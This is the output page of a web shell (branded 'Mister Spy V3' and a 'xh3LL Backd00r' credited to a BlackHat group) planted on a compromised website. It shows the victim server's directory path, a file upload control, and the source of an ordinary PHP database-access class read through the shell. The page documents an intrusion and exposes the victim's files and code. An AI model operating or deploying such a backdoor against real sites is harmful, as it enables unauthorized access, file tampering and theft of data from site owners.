Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/library/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/library/class.lotedatosdirectos.php

<?php 

require_once('class.dbaccess.php');
require_once('class.lotedatodirecto.php');

class LoteDatosDirectos extends DBAccess
{
	public function GetAll()
	{
		$sql = "SELECT *";
		$sql.= " FROM tblLoteDatosDirectos";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteDatoDirecto = new LoteDatoDirecto();
			$oLoteDatoDirecto->ParseFromArray($oRow);
			
			array_push($arr, $oLoteDatoDirecto);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	

	public function GetById($IdDatoDirecto)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblLoteDatosDirectos";
		$sql.= " WHERE IdDatoDirecto = " . DB::Number($IdDatoDirecto);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oLoteDatoDirecto = new LoteDatoDirecto();
		$oLoteDatoDirecto->ParseFromArray($oRow);
		
		return $oLoteDatoDirecto;
	}
	
	
	public function GetByIdLote($IdLote)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblLoteDatosDirectos";
		$sql.= " WHERE IdLote = " . DB::Number($IdLote);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oLoteDatoDirecto = new LoteDatoDirecto();
		$oLoteDatoDirecto->ParseFromArray($oRow);
		
		return $oLoteDatoDirecto;
	}
	

	public function Create(LoteDatoDirecto $oLoteDatoDirecto)
	{
		$arr = array
		(
			'IdLote'	=> DB::Number($oLoteDatoDirecto->IdLote),
			'Pn'		=> DB::String($oLoteDatoDirecto->Pn),
			'Pd'		=> DB::String($oLoteDatoDirecto->Pd),
			'Pf'		=> DB::String($oLoteDatoDirecto->Pf),
			'Ce'		=> DB::String($oLoteDatoDirecto->Ce),
			'Frame'		=> DB::String($oLoteDatoDirecto->Frame)
		);
		
		if (!$this->Insert('tblLoteDatosDirectos', $arr))
			return false;
			
		return $oLoteDatoDirecto;
	}
	
	
	public function Update(LoteDatoDirecto $oLoteDatoDirecto)
	{
		$where = " IdDatoDirecto = " . DB::Number($oLoteDatoDirecto->IdDatoDirecto);
		
		$arr = array
		(
			'IdLote'	=> DB::Number($oLoteDatoDirecto->IdLote),
			'Pn'		=> DB::String($oLoteDatoDirecto->Pn),
			'Pd'		=> DB::String($oLoteDatoDirecto->Pd),
			'Pf'		=> DB::String($oLoteDatoDirecto->Pf),
			'Ce'		=> DB::String($oLoteDatoDirecto->Ce),
			'Frame'		=> DB::String($oLoteDatoDirecto->Frame)
		);
		
		if (!DBAccess::Update('tblLoteDatosDirectos', $arr, $where))
			return false;
		
		return $oLoteDatoDirecto;
	}
	

	public function Delete($IdDatoDirecto)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdDatoDirecto = " . DB::Number($IdDatoDirecto);
		if (!DBAccess::Delete('tblLoteDatosDirectos', $where))
		{
				DBAccess::$db->Rollback();	
				return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}		
	
	
	public function DeleteByIdLote($IdLote)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdLote = " . DB::Number($IdLote);
		if (!DBAccess::Delete('tblLoteDatosDirectos', $where))
		{
				DBAccess::$db->Rollback();	
				return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}		
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat